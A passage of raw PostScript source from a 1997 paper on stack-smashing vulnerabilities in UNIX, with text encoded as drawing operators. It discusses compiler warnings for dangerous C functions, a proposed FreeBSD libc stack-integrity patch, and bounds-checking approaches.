(p)S 0.200 0 (il)A -0.400 0 (e)A -0.300 0 (r)A 8.000 0 32 (, )W -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 8.000 0 32 (h do)W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2303 M (no)S 15.800 0 32 0.200 0 (t )D -0.400 0 (a)A -0.300 0 (ff)A -0.400 0 (ec)A 15.800 0 32 0.200 0 (t t)D (h)S 16.400 0 32 -0.400 0 (e )D 15.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 17.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 16.000 0 32 (. )W -0.600 0 (F)A (o)S 16.300 0 32 -0.300 0 (r )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 16.000 0 32 (, )W 0.200 0 (t)A (h)S 16.400 0 32 -0.400 0 (e )D -0.700 0 (B)A 0.400 0 (S)A -0.200 0 (D)A 18.300 0 32 -2.300 0 (I )D -0.400 0 (a)A 16.000 0 32 (nd )W -0.200 0 (O)A (p)S -0.400 0 (e)A (n)S -0.700 0 (B)A 0.400 0 (S)A 16.200 0 32 -0.200 0 (D )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2480 M 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 0.100 0 (s)A 33.300 0 32 -0.300 0 (\222 )D -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A -0.300 0 (r)A 32.900 0 32 0.100 0 (s )D -1.000 0 (g)A -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (t)A 33.400 0 32 -0.400 0 (e )D -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A (n)S 0.200 0 (i)A (n)S 34.000 0 32 -1.000 0 (g )D 0.200 0 (m)A -0.400 0 (e)A 0.100 0 (ss)A -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 32.900 0 32 0.100 0 (s )D -0.200 0 (w)A (h)S -0.400 0 (e)A 33.000 0 32 (n )W -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (ili)A (n)S 34.000 0 32 -1.000 0 (g )D 34.400 0 32 -0.400 0 (a )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 33.800 0 32 0.200 0 (m )D -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 34.000 0 32 (h u)W 0.100 0 (s)A -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2657 M -0.400 0 (\223)A (d)S -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A -0.300 0 (r)A (ou)S 0.100 0 (s)A 1.400 0 32 -0.400 0 (\224 )D -0.300 0 (\()A 0.100 0 (s)A 1.400 0 32 -0.400 0 (ee )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F6) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F6_100) cvn F6 100 xF F6_100 Ji 1321 2657 M 0.200 0 (fi)A 1.000 0 32 (g 9.1.a)W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1653 2657 M 1.300 0 32 -0.300 0 (\) f)D (un)S -0.400 0 (c)A 0.200 0 (ti)A 1.000 0 32 (on )W -0.400 0 (ca)A 0.200 0 (ll)A 0.100 0 (s)A 1.000 0 32 (. )W -0.200 0 (D)A -0.400 0 (e)A 0.100 0 (s)A (p)S 0.200 0 (it)A 2.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 0.200 0 (i)A 1.900 0 32 0.100 0 (s s)D (ho)S -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (c)A (o)S 0.200 0 (mi)A (n)S -1.000 0 (g)A 2.000 0 32 (, )W 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (a)A 0.200 0 (i)A 2.000 0 32 (n b)W -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (f)A 1.800 0 32 0.200 0 (it )D (o)S 2.300 0 32 -0.300 0 (f )D (u)S 0.100 0 (s)A 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2834 M -0.400 0 (a)A 4.000 0 32 (n )W -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 4.000 0 32 (h )W 0.100 0 (s)A (u)S -0.400 0 (c)A 4.000 0 32 (h )W -0.400 0 (a)A 3.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 0.200 0 (i)A 3.900 0 32 0.100 0 (s )D 0.200 0 (i)A 3.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 4.800 0 32 0.200 0 (t it )D -0.400 0 (e)A (n)S -0.400 0 (c)A (ou)S -0.300 0 (r)A -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 4.900 0 32 0.100 0 (s s)D -0.400 0 (ec)A (u)S -0.300 0 (r)A 5.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 6.000 0 32 -1.000 0 (g )D -0.200 0 (w)A 0.200 0 (it)A (hou)S 4.800 0 32 0.200 0 (t )D -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A 0.200 0 (i)A (n)S 6.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 5.400 0 32 -0.400 0 (e c)D (od)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3011 M -0.111 0 (or its performance.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3188 M 8.200 0 32 -0.200 0 (A )D 0.200 0 (m)A -0.400 0 (e)A (d)S 0.200 0 (i)A -0.400 0 (a)A 8.000 0 32 (n )W -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 8.000 0 32 (h o)W 8.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D (n)S -0.400 0 (a)A 0.200 0 (t)A (u)S -0.300 0 (r)A 8.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 7.900 0 32 0.100 0 (s s)D 0.200 0 (li)A -1.000 0 (g)A (h)S 7.800 0 32 0.200 0 (t m)D (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ti)A (on)S 7.900 0 32 0.100 0 (s )D 0.200 0 (t)A 8.000 0 32 (o )W 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A -0.300 0 (r)A 9.000 0 32 (, )W 0.100 0 (s)A (u)S -0.400 0 (c)A (h)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3365 M -0.400 0 (a)A 0.900 0 32 0.100 0 (s )D 0.200 0 (t)A (ho)S 0.100 0 (s)A 1.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (opo)S 0.100 0 (s)A -0.400 0 (e)A 1.000 0 32 (d b)W 4.000 0 32 -3.000 0 (y )D -0.200 0 (A)A 0.200 0 (l)A -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A (nd)S -0.300 0 (r)A 1.400 0 32 -0.400 0 (e )D 0.400 0 (S)A (n)S -0.400 0 (a)A -0.300 0 (r)A 0.100 0 (s)A (k)S 0.200 0 (ii)A ; : 2170 3349 2713 76 rc 0 0 0 sco (F2_67) cvn F2 67 xF F2_67 Ji 2243 3349 M 0.500 0 (13)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2311 3365 M 2.000 0 32 (, )W -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 2.000 0 32 (h )W -0.200 0 (w)A (ou)S 0.200 0 (l)A 2.000 0 32 (d )W 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 5.000 0 32 -3.000 0 (y )D (on)S 0.200 0 (l)A 5.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e \223)D (d)S -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A -0.300 0 (r)A (ou)S 0.100 0 (s)A 2.400 0 32 -0.400 0 (\224 )D -0.300 0 (\()A ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 4132 3365 M 0.100 0 (s)A 2.400 0 32 -0.400 0 (ee )D 0.200 0 (fi)A (g)S ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 612 3542 M (9.1.a)S -1.300 0 (\))A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 844 3542 M 13.000 0 32 ( )W -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 12.900 0 32 0.100 0 (s )D 0.200 0 (i)A 13.000 0 32 (n )W 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e )D 12.700 0 32 0.300 0 (C )D 0.200 0 (li)A (b)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 16.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 13.000 0 32 (nd p)W -0.400 0 (e)A -0.300 0 (rf)A (o)S -0.300 0 (r)A 12.800 0 32 0.200 0 (m )D 13.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 14.000 0 32 (k )W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -1.000 0 (g)A -0.300 0 (r)A 0.200 0 (it)A 17.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (h)S -0.400 0 (ec)A 14.000 0 32 (k b)W -0.400 0 (e)A -0.300 0 (f)A (o)S -0.300 0 (r)A 14.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A -0.300 0 (f)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (e)A (n)S -0.400 0 (c)A 0.200 0 (i)A (n)S 15.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3719 M -0.400 0 (a)A (pp)S -0.300 0 (r)A (op)S -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A 0.200 0 (t)A 20.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A 20.000 0 32 (n v)W -0.400 0 (a)A 0.200 0 (l)A (u)S -0.400 0 (e)A 20.000 0 32 (. )W -2.300 0 (I)A 20.000 0 32 (n h)W 0.200 0 (i)A 19.900 0 32 0.100 0 (s )D (p)S -0.300 0 (r)A (opo)S 0.100 0 (s)A -0.400 0 (e)A 21.000 0 32 (d p)W -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (c)A 21.000 0 32 (h )W 0.200 0 (t)A 21.000 0 32 (o )W 0.200 0 (t)A (h)S 21.400 0 32 -0.400 0 (e )D -0.600 0 (F)A -0.300 0 (r)A -0.400 0 (ee)A -0.700 0 (B)A 0.400 0 (S)A 21.200 0 32 -0.200 0 (D )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 22.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 21.000 0 32 (, )W 0.200 0 (i)A 21.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3896 M 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -1.000 0 (g)A -0.300 0 (r)A 0.200 0 (it)A 9.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (h)S -0.400 0 (ec)A 6.000 0 32 (k )W -0.300 0 (f)A -0.400 0 (a)A 0.200 0 (il)A 0.100 0 (s)A 6.000 0 32 (, )W 6.800 0 32 0.200 0 (it )D -0.200 0 (w)A (ou)S 0.200 0 (l)A 7.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (im)A (p)S 0.200 0 (l)A 10.000 0 32 -3.000 0 (y )D (p)S -0.300 0 (r)A 0.200 0 (i)A (n)S 6.800 0 32 0.200 0 (t )D 7.400 0 32 -0.400 0 (a )D -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A (n)S 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D 0.200 0 (m)A -0.400 0 (e)A 0.100 0 (ss)A -0.400 0 (a)A -1.000 0 (g)A 7.400 0 32 -0.400 0 (e a)D 7.000 0 32 (nd )W -0.400 0 (e)A 1.000 0 (x)A 6.800 0 32 0.200 0 (it t)D (h)S 7.400 0 32 -0.400 0 (e a)D -0.300 0 (ff)A -0.400 0 (ec)A 0.200 0 (t)A -0.400 0 (e)A 7.000 0 32 (d p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4073 M -0.100 0 (T)A (h)S 28.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (a)A 0.200 0 (i)A 28.000 0 32 (n d)W 0.200 0 (i)A 0.100 0 (s)A -0.400 0 (a)A (dv)S -0.400 0 (a)A (n)S 0.200 0 (t)A -0.400 0 (a)A -1.000 0 (g)A 28.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 28.000 0 32 (o )W 0.200 0 (t)A (h)S 0.200 0 (i)A 27.900 0 32 0.100 0 (s )D -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 28.000 0 32 (h )W 0.200 0 (i)A 27.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 27.800 0 32 0.200 0 (t )D -0.400 0 (a)A 27.800 0 32 0.200 0 (ll )D (d)S -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A -0.300 0 (r)A (ou)S 28.900 0 32 0.100 0 (s )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 28.900 0 32 0.100 0 (s )D -0.200 0 (w)A (ou)S 0.200 0 (l)A 29.000 0 32 (d )W 0.100 0 (s)A (u)S -0.300 0 (ff)A -0.400 0 (e)A 29.300 0 32 -0.300 0 (r )D -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4250 M 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A (n)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A (n)S 12.800 0 32 0.200 0 (t )D (p)S -0.400 0 (e)A -0.300 0 (rf)A (o)S -0.300 0 (r)A 0.200 0 (m)A -0.400 0 (a)A (n)S 13.400 0 32 -0.400 0 (ce )D (p)S -0.400 0 (e)A (n)S -0.400 0 (a)A 0.200 0 (lt)A -3.000 0 (y)A 13.000 0 32 (, )W -0.400 0 (a)A 13.000 0 32 (nd )W 0.200 0 (li)A (k)S 13.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A -0.400 0 (e)A (v)S 0.200 0 (i)A (ou)S 13.900 0 32 0.100 0 (s )D -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 14.000 0 32 (h, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 13.900 0 32 0.100 0 (s )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ti)A 14.000 0 32 (on do)W -0.400 0 (e)A 13.900 0 32 0.100 0 (s )D (no)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4427 M 0.200 0 (t)A -0.400 0 (a)A (k)S 44.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S 0.200 0 (t)A 44.000 0 32 (o )W -0.400 0 (acc)A (oun)S 43.800 0 32 0.200 0 (t )D -0.400 0 (a)A (u)S 0.200 0 (t)A (ono)S 0.200 0 (m)A (ou)S 43.900 0 32 0.100 0 (s )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 43.900 0 32 0.100 0 (s )D (d)S -0.400 0 (e)A -0.300 0 (f)A 0.200 0 (i)A (n)S -0.400 0 (e)A 44.000 0 32 (d b)W 47.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 44.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mm)A -0.400 0 (e)A -0.300 0 (r)A 44.000 0 32 (, b)W -0.400 0 (eca)A (u)S 0.100 0 (s)A 44.400 0 32 -0.400 0 (e )D (o)S 44.300 0 32 -0.300 0 (f )D 0.200 0 (it)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4604 M 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 9.000 0 32 (on )W 0.200 0 (i)A 10.000 0 32 (n )W 0.200 0 (t)A (h)S 10.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 9.800 0 32 0.200 0 (m li)D (b)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.100 0 (s)A 10.000 0 32 (. )W -0.200 0 (A)A 10.000 0 32 (n )W -0.400 0 (a)A (dd)S 0.200 0 (iti)A (on)S -0.400 0 (a)A 9.800 0 32 0.200 0 (l )D (d)S -0.300 0 (r)A -0.400 0 (a)A -0.200 0 (w)A (b)S -0.400 0 (ac)A 10.000 0 32 (k )W 0.200 0 (t)A 10.000 0 32 (o )W 0.200 0 (t)A (h)S 0.200 0 (i)A 9.900 0 32 0.100 0 (s )D -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 10.000 0 32 (h )W 0.200 0 (i)A 9.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 9.800 0 32 0.200 0 (t t)D (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4781 M -0.400 0 (c)A (od)S 3.400 0 32 -0.400 0 (e )D (n)S -0.400 0 (ece)A 0.100 0 (ss)A -0.400 0 (a)A -0.300 0 (r)A 6.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 3.000 0 32 (n )W -0.400 0 (c)A (h)S -0.400 0 (ec)A (k)S 0.200 0 (i)A (n)S 4.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 4.000 0 32 (k )W 0.200 0 (m)A (u)S 0.100 0 (s)A 3.800 0 32 0.200 0 (t )D (b)S 4.400 0 32 -0.400 0 (e )D -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (itt)A -0.400 0 (e)A 4.000 0 32 (n )W 0.200 0 (i)A 4.000 0 32 (n )W -0.400 0 (a)A 0.100 0 (ss)A -0.400 0 (e)A 0.200 0 (m)A (b)S 0.200 0 (l)A -0.400 0 (e)A -0.300 0 (r)A 4.000 0 32 (, )W -0.400 0 (a)A 4.000 0 32 (nd )W 0.200 0 (i)A 3.900 0 32 0.100 0 (s )D 0.200 0 (t)A (hu)S 3.900 0 32 0.100 0 (s )D (no)S 3.800 0 32 0.200 0 (t )D (po)S -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 4.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4958 M -0.057 0 (multiple architectures.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 5135 M -0.200 0 (A)A 1.000 0 32 (n )W -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A 1.400 0 32 -0.400 0 (e a)D (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 2.000 0 32 (h )W 0.200 0 (t)A 2.000 0 32 (o )W 0.100 0 (s)A (o)S 0.200 0 (l)A (v)S 0.200 0 (i)A (n)S 3.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (ob)S 0.200 0 (l)A -0.400 0 (e)A 1.800 0 32 0.200 0 (m )D -0.200 0 (w)A 0.200 0 (it)A 2.000 0 32 (h )W 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 1.900 0 32 0.100 0 (s )D 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (ti)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5312 M (bound)S -0.100 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (ec)A (k)S 0.200 0 (i)A (n)S 1.000 0 32 -1.000 0 (g )D 0.200 0 (i)A (n )S 0.200 0 (t)A (h)S 0.400 0 32 -0.400 0 (e )D -0.300 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 1.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A (. )S 0.400 0 (P)A (o)S 0.100 0 (ss)A 0.200 0 (i)A (b)S 0.200 0 (l)A 3.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 0.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (o)S 0.100 0 (s)A 0.800 0 32 0.200 0 (t )D (d)S -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A -0.300 0 (r)A (ou)S 0.900 0 32 0.100 0 (s s)D (o)S 0.200 0 (l)A (u)S 0.200 0 (ti)A 1.000 0 32 (on )W 0.200 0 (t)A 1.000 0 32 (o )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 522 5586 2880 94 rc 0 0 0 sco F2_83 Ji 612 5586 M 0.250 0 ( )A ; : 1152 5586 2700 94 rc 0 0 0 sco F2_83 Ji 1242 5586 M 0.250 0 ( )A ; 612 5639 N M 1200 4 rr : 0 0 0 sco O ; : 0 0 4883 6391 rc 0 0 0 sco (F2_42) cvn F2 42 xF F2_42 Ji 612 5682 M (13)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 654 5687 M 0.188 0 ( ftp://ftp.lucky.net/pub/unix/local/libc-letter)A ; LH savelevel1 restore pagesave restore (%%[ Page: 25 ]%%) = %%PageTrailer %%Page: 26 26 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (26)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 22.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 23.000 0 32 -1.000 0 (g )D (p)S -0.300 0 (r)A (ob)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A 22.000 0 32 (, )W -0.400 0 (a)A 21.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 0.200 0 (i)A 21.900 0 32 0.100 0 (s )D -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 22.000 0 32 (h v)W 0.200 0 (i)A (o)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 22.900 0 32 0.100 0 (s )D 22.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 24.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A -0.300 0 (\222)A 22.900 0 32 0.100 0 (s s)D 0.200 0 (im)A (p)S 0.200 0 (li)A -0.400 0 (c)A 0.200 0 (it)A -3.000 0 (y)A (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M -0.400 0 (e)A -0.300 0 (ff)A 0.200 0 (i)A -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (e)A (n)S -0.400 0 (c)A -3.000 0 (y)A 35.000 0 32 (, )W -0.400 0 (a)A 35.000 0 32 (nd )W -0.300 0 (f)A 0.200 0 (l)A -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (i)A (b)S 0.200 0 (ilit)A 38.000 0 32 -3.000 0 (y )D (d)S -0.400 0 (e)A (v)S 0.200 0 (i)A -0.400 0 (ce)A 0.100 0 (s)A 36.000 0 32 (. )W -0.200 0 (O)A (n)S 36.400 0 32 -0.400 0 (e a)D (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 36.000 0 32 (h u)W 0.100 0 (s)A -0.400 0 (e)A 36.000 0 32 (d )W 0.200 0 (i)A 36.000 0 32 (n )W 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (ti)A (n)S 37.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 0.200 0 (i)A 35.900 0 32 0.100 0 (s )D 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 858 M 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 0.200 0 (i)A (n)S 14.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A (p)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 13.000 0 32 (on o)W 13.300 0 32 -0.300 0 (f )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 12.900 0 32 0.100 0 (s )D 0.200 0 (i)A 13.000 0 32 (n )W 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 13.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 13.000 0 32 (o )W 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (l)A (ud)S 13.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.300 0 (r)A 13.400 0 32 -0.400 0 (ee )D 0.200 0 (it)A -0.400 0 (e)A 0.200 0 (m)A 0.100 0 (s)A 13.800 0 32 0.200 0 (: t)D (h)S 14.400 0 32 -0.400 0 (e )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco 